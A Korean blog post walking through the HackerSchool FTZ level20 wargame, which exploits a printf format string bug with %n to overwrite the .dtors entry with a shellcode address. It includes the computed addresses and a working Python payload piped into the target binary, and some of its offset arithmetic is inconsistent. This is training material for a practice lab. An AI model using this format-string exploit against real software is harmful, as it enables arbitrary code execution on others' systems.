본문 바로가기

Write-Up/해커스쿨 FTZ

FTZ level20

대망의 마지막문제

 

원래 printf를 쓸때

printf("%s",blesh)이런식으로 포맷스트링을 넣어서 사용한다.

 

하지만 위 문제는 포맷 스트링 문자열을 인자로 넣지 않고 buf변수를 바로 넣어 호출하였다.

이점을 이용하여  format string bug 를 이용할것이다.

 

생소한 %n을 이용하여 변수값을 변조할 수 있다.

 

예를들어 AAAA 를 입력했다고 가정했을때

처음에는 당연히 AAAA를 출력한다. %n을 만나면 지금까지 출력된 자릿수를 계산한다. 계산하니 AAAA 4자리이다. 이제 스택의 다음 4바이트의 내용을 확인하면 0x41414141(AAAA)라는 것을 알 수 있다.. 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버린다. 그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있다.

예를 들어  %100c%n 이렇게 넣어버리면 100이라는 숫자를 넣는다는 것이다.

 

ret주소에 쉘코드 주소를 덮어 쓸수 있다는 것이다.

 

일단 ret주소와 쉘코드 주소부터 알아보자

 

 

 

 

ret주소는 gdb가 안되서 dtors 주소를 알아내었다.

08049594 + 4 = 08049598

 

shellcode 주소 

bffffee7

 

 

0xfee7 (65255(10)) 는 0x08049598에 넣고

0xbfff (49151(10)) 는 0x0804959a에 넣게 된다.

 

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 

fee7에서 앞의 자리수 40 을 뺀 결과 65215

 

65255 - 0x1bfff = 49,432

 

"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%65215c%n%49432c%n"

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme​

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65215c%n"+"%49432c%n"'; cat) | ./attackme​

 

 

'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글

FTZ level19  (0) 2021.03.16
FTZ level18  (0) 2021.03.16
FTZ level17  (0) 2021.03.16
FTZ level16  (0) 2021.03.16
FTZ level15  (0) 2021.03.16